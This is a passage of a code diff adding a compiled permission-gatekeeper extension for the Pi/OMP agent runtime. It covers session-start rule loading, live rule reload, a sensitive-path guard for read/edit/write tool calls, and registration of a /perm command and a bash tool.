+ * of the flag or its valid values flows from one edit to the registration call and the matching test assertion.
2505
+ */
2506
+ const PERM_MODE_FLAG_DESCRIPTION = "Default permission mode for the current session (low / medium / high). Overrides the persisted value without rewriting it.";
2507
+ /**
2508
+ * User-visible description surfaced in pi/omp's `/help` listing for the `/perm` slash command. Kept in lock-step with the
2509
+ * subcommand catalogue {@link PERM_SUBCOMMANDS} so the help text matches the supported subcommands.
2510
+ */
2511
+ const PERM_COMMAND_DESCRIPTION = "Switch the active permission level (low / medium / high) or print the resolved allowlist path and current rules.";
2512
+ /**
2513
+ * `session_start` handler registered by {@link gatekeeper}. Sequences the four bootstrap steps in canonical order:
2514
+ * 1. {@link loadRules} — populates the in-memory `rules` cache from disk (or bundled defaults on first run) and surfaces
2515
+ * malformed payloads via `ctx.ui.notify("warning")` per `loadRules`'s documented contract.
2516
+ * 2. Mirror `currentMode` from the loaded `rules.currentMode` (or leave the module default `medium` if the file is malformed
2517
+ * and `currentMode` is `null`).
2518
+ * 3. {@link applyFlagOverride} — consults `pi.getFlag(PERM_MODE_FLAG_NAME)` and overrides `currentMode` for this session only.
2519
+ * The persisted file is never written from this path (AC-001-03 contract).
2520
+ * 4. {@link updateStatus} — renders the resolved level on the TUI footer (FLOW-04 Step 4 + FLOW-05 `level_change_latency_ms` <= 100 ms).
2521
+ *
2522
+ * Flow references: FLOW-04 Step 4 (status indicator appears), FLOW-05 Step 3 (status updates), FLOW-09 (manual rules discovery is
2523
+ * primed by the persisted level that this handler mirrors).
2524
+ */
2525
+ function sessionStartHandler(pi) {
2526
+ return (_event, ctx) => {
2527
+ rules = loadRules(ctx);
2528
+ if (isPermissionLevel(rules.currentMode)) {
2529
+ currentMode = rules.currentMode;
2530
+ }
2531
+ // ISS-005 (TSK-005-02): clear the ephemeral and session allow sets so a long-lived Pi/OMP
2532
+ // runtime that outlives a single developer session does not carry stale "Allow Once" or
2533
+ // "Allow This Session" unlocks forward. Both sets are re-seeded only by fresh clicks in
2534
+ // the new session.
2535
+ ephemeralAllowList = new Set();
2536
+ sessionAllowList = new Set();
2537
+ applyFlagOverride(pi);
2538
+ updateStatus(ctx);
2539
+ };
2540
+ }
2541
+ /**
2542
+ * `tool_call` handler registered by {@link gatekeeper} for live reload (FR-011).
2543
+ * Calls {@link loadRules} before every tool-call evaluation so manual edits to
2544
+ * `perm-rules.json` take effect immediately without a restart.
2545
+ *
2546
+ * Pass-through contract:
2547
+ * - Returns `undefined` (never blocks the tool-call chain — permission enforcement
2548
+ * is reserved for ISS-006).
2549
+ * - Never calls `ctx.ui.notify` at "denied" level.
2550
+ * - `loadRules` will call `ctx.ui.notify` at "warning" level only when the JSON
2551
+ * is malformed, falling back to the last valid rules in memory.
2552
+ *
2553
+ * Flow references: FR-011 (ISS-004 Rule Live Reload). Serves FLOW-09 Step 4
2554
+ * (gatekeeper reloads the file on the next tool-call evaluation) and FLOW-04 Step 3
2555
+ * (extension registers a tool-call hook on the next pi/omp launch). FLOW-10 cascade
2556
+ * integrity is preserved because the hook only reads, never writes.
2557
+ */
2558
+ function toolCallHandler(_event, ctx) {
2559
+ try {
2560
+ loadRules(ctx);
2561
+ }
2562
+ catch (err) {
2563
+ // Best-effort: an unexpected I/O error (EXDEV cross-device rename, EIO, etc.) during
2564
+ // loadRules' bootstrap path must not propagate through Pi/OMP's event subscriber chain.
2565
+ // Notify the developer so they can investigate filesystem state, then return undefined
2566
+ // (pass-through) so the chain continues to ISS-006's sensitive-path guard.
2567
+ ctx.ui.notify(`perm-rules.json reload failed: ${err.message}`, "warning");
2568
+ }
2569
+ }
2570
+ /**
2571
+ * Extract the `path` field from the built-in read / edit / write tool events,
2572
+ * or `undefined` for any other tool name or for events whose `input.path`
2573
+ * is not a string.
2574
+ *
2575
+ * The tool-name check is RUNTIME (`event.toolName === "..."`), not type
2576
+ * narrowing, because `CustomToolCallEvent.toolName` is typed `string` per
2577
+ * `extension-api/types.d.ts:733-734` and would otherwise overlap with the
2578
+ * built-in tool-name literals. The runtime strict-equality gate is what
2579
+ * distinguishes `read` / `edit` / `write` from every other tool name
2580
+ * (`bash`, `grep`, `find`, `ls`, custom tools), keeping the documented
2581
+ * "bash passes through" known gap (HITL-003 / RSK-003 / `design.md:113`
2582
+ * CV-3) intentional, NOT a regression.
2583
+ *
2584
+ * The `input.path` cast to `{ path?: unknown }` plus `typeof === "string"`
2585
+ * gate is the safe-rather-than-sorry equivalent of trusting the static type
2586
+ * — a missing / `null` / non-string path (malformed custom tool payload
2587
+ * that happens to overlap with the tool-name literal) falls through to
2588
+ * `undefined` so the caller never false-blocks on unparseable input.
2589
+ */
2590
+ function extractPathFromToolCall(event) {
2591
+ const { toolName } = event;
2592
+ if (toolName !== "read" && toolName !== "edit" && toolName !== "write") {
2593
+ return undefined;
2594
+ }
2595
+ const { path } = event.input;
2596
+ return typeof path === "string" ? path : undefined;
2597
+ }
2598
+ /**
2599
+ * ISS-006: Sensitive Path Guard — `tool_call` handler that blocks
2600
+ * `read` / `edit` / `write` of any path classified sensitive by
2601
+ * {@link isSensitivePath}. Returns `{ block: true, reason }` on a match
2602
+ * or `undefined` for pass-through. Registered by {@link gatekeeper} after
2603
+ * the ISS-004 live-reload handler so Pi/OMP iterates subscribers in
2604
+ * registration order.
2605
+ *
2606
+ * Policy (pinned by `test/sensitive-path.test.ts` AC-007-XX + edge-case
2607
+ * describes):
2608
+ * - **Tool-name gate** ({@link extractPathFromToolCall}) — only
2609
+ * `read` / `edit` / `write` are evaluated; everything else passes
2610
+ * through (the `bash` gap is intentional per HITL-003 / RSK-003).
2611
+ * - **Skill-script short-circuit** (US-021) — {@link SKILL_SCRIPT_PATTERN}
2612
+ * runs BEFORE the pattern scan so a skill script whose filename would
2613
+ * match (e.g. `/skills/.env-helper.sh`) still passes through.
2614
+ * - **Mode-independent** (US-020 / AC-007-05) — this handler does NOT
2615
+ * consult `currentMode`; the guard is a cross-cutting security
2616
+ * invariant (Constitution §1.4) that runs in every permission level.
2617
+ * - **Headless safety** (Constitution §1.6) — the block decision fires
2618
+ * regardless of `ctx.hasUI`; the user-visible notify is gated through
2619
+ * {@link notifySensitivePathBlock} which is a no-op when UI is absent.
2620
+ *
2621
+ * Flow references: `[]` (cross-cutting; no dedicated FLOW-XX per
2622
+ * `architecture.md:143`). AC-007-XX pinned via explicit named tests.
2623
+ */
2624
+ function sensitivePathToolCallHandler(event, ctx) {
2625
+ const path = extractPathFromToolCall(event);
2626
+ if (path === undefined)
2627
+ return undefined;
2628
+ if (SKILL_SCRIPT_PATTERN.test(path))
2629
+ return undefined;
2630
+ const { match, label } = isSensitivePath(path);
2631
+ if (!match)
2632
+ return undefined;
2633
+ notifySensitivePathBlock(path, ctx);
2634
+ return { block: true, reason: `Sensitive path: ${label}` };
2635
+ }
2636
+ /**
2637
+ * Pi/OMP extension entry point — registers the foundation-shard surfaces:
2638
+ * - `pi.on("session_start", handler)` -> {@link sessionStartHandler}
2639
+ * (FLOW-04 Step 3 — registers a session-start hook on next pi/omp launch)
2640
+ * - `pi.on("tool_call", handler)` -> {@link toolCallHandler}
2641
+ * (FR-011 / ISS-004: live-reload rules before every tool-call evaluation —
2642
+ * pass-through, refreshes the in-memory rules cache so manual edits take effect
2643
+ * without a restart)
2644
+ * - `pi.on("tool_call", handler)` -> {@link sensitivePathToolCallHandler}
2645
+ * (FR-007 / ISS-006: sensitive-path blocking — returns `{ block: true, reason }`
2646
+ * on match, or `undefined` for pass-through. Mode-independent; runs in every
2647
+ * permission level; headless-safe.)
2648
+ * - `pi.registerFlag(PERM_MODE_FLAG_NAME, ...)` -> `--perm-mode <low|medium|high>`
2649
+ * (FLOW-04 CLI override — per-session mode override without rewriting the persisted file)
2650
+ * - `pi.registerCommand("perm", { handler: permCommandHandler, ... })`
2651
+ * (FLOW-05 `/perm` cycle + FLOW-09 `/perm allowlist` discovery)
2652
+ * - `pi.registerTool(BASH_TOOL_DEFINITION)` -> `bash` tool
2653
+ * (ISS-005 / TSK-005-03: agent-facing bash execute handler — registered LAST so the
2654
+ * live-reload cache refresh and bash registration order are decoupled.)
2655
+ *
2656
+ * Registration order within each Pi/OMP subscription kind matters:
2657
+ * Pi/OMP iterates all `tool_call` subscribers in registration order
2658
+ * (`extension-api/types.d.ts:664-666`). The two `tool_call` handlers are ordered so the
2659
+ * live-reload cache refresh (ISS-004) runs first, then the sensitive-path guard (ISS-006)
2660
+ * sees fresh state. Order tests in `test/foundation.test.ts` (`extension entry-point wiring`)
2661
+ * pin every structural invariant — handler count, handler position, call-order chain.
2662
+ * The `tool_call subscription ordering` describe in `test/sensitive-path.test.ts` pins the
2663
+ * exact-2 count and order so a future register-order swap is intentional and tested.
2664
+ *
2665
+ * Flow references: FLOW-04 (install) + FLOW-05 (switch level) + FLOW-09 (manage rules manually).
2666
+ * Every prior shard's helpers (`loadRules`, `updateStatus`, `cycleMode`, `applyFlagOverride`,
2667
+ * `permCommandHandler`, `showAllowlist`) become reachable only after this default export wires
2668
+ * them onto the ExtensionAPI.
2669
+ */
2670
+ /**
2671
+ * Module-level ExtensionAPI reference, captured once at extension load. Used by
2672
+ * {@link updateStatus} to emit the `perm:changed` event on the shared extension
2673
+ * event bus so the footer extension (which subscribes to this event) can update
2674
+ * the circle indicator without polling the filesystem.
2675
+ */
2676
+ let piRef;
2677
+ export default function gatekeeper(pi) {
2678
+ piRef = pi;
2679
+ // Schema upgrade: if the on-disk perm-rules.json version is older than the bundled defaults,
2680
+ // back up the old file and re-bootstrap. This ensures improvements like expanded `low.allow`
2681
+ // entries automatically take effect on extension load without manual deletion.
2682
+ try {
2683
+ const rulesPath = getRulesPath();
2684
+ if (existsSync(rulesPath)) {
2685
+ const raw = readFileSync(rulesPath, "utf8");
2686
+ const parsed = JSON.parse(raw);
2687
+ const bundledVersion = JSON.parse(readFileSync(DEFAULT_RULES_PATH, "utf8"));
2688
+ if (typeof parsed.version === "number" && parsed.version < bundledVersion.version) {
2689
+ renameSync(rulesPath, `${rulesPath}.v${parsed.version}.bak`);
2690
+ bootstrapRulesAt(rulesPath);
2691
+ }
2692
+ }
2693
+ }
2694
+ catch {
2695
+ // Migration failure is non-fatal — the stale file stays on disk and
2696
+ // loadRules will handle it gracefully via malformed-file fallback.
2697
+ }
2698
+ pi.on("session_start", sessionStartHandler(pi));
2699
+ // registered FIRST — live-reload cache refresh
2700
+ pi.on("tool_call", toolCallHandler);
2701
+ // registered SECOND — sensitive-path guard
2702
+ pi.on("tool_call", sensitivePathToolCallHandler);
2703
+ pi.registerFlag(PERM_MODE_FLAG_NAME, {
2704
+ description: PERM_MODE_FLAG_DESCRIPTION,
2705
+ type: "string",
2706
+ default: "medium",
2707
+ });
2708
+ pi.registerCommand("perm", {
2709
+ description: PERM_COMMAND_DESCRIPTION,
2710
+ handler: permCommandHandler,
2711
+ });
2712
+ // registered LAST — bash execute handler
2713
+ pi.registerTool(BASH_TOOL_DEFINITION);
2714
+ }
2715
+ //# sourceMappingURL=gatekeeper.js.map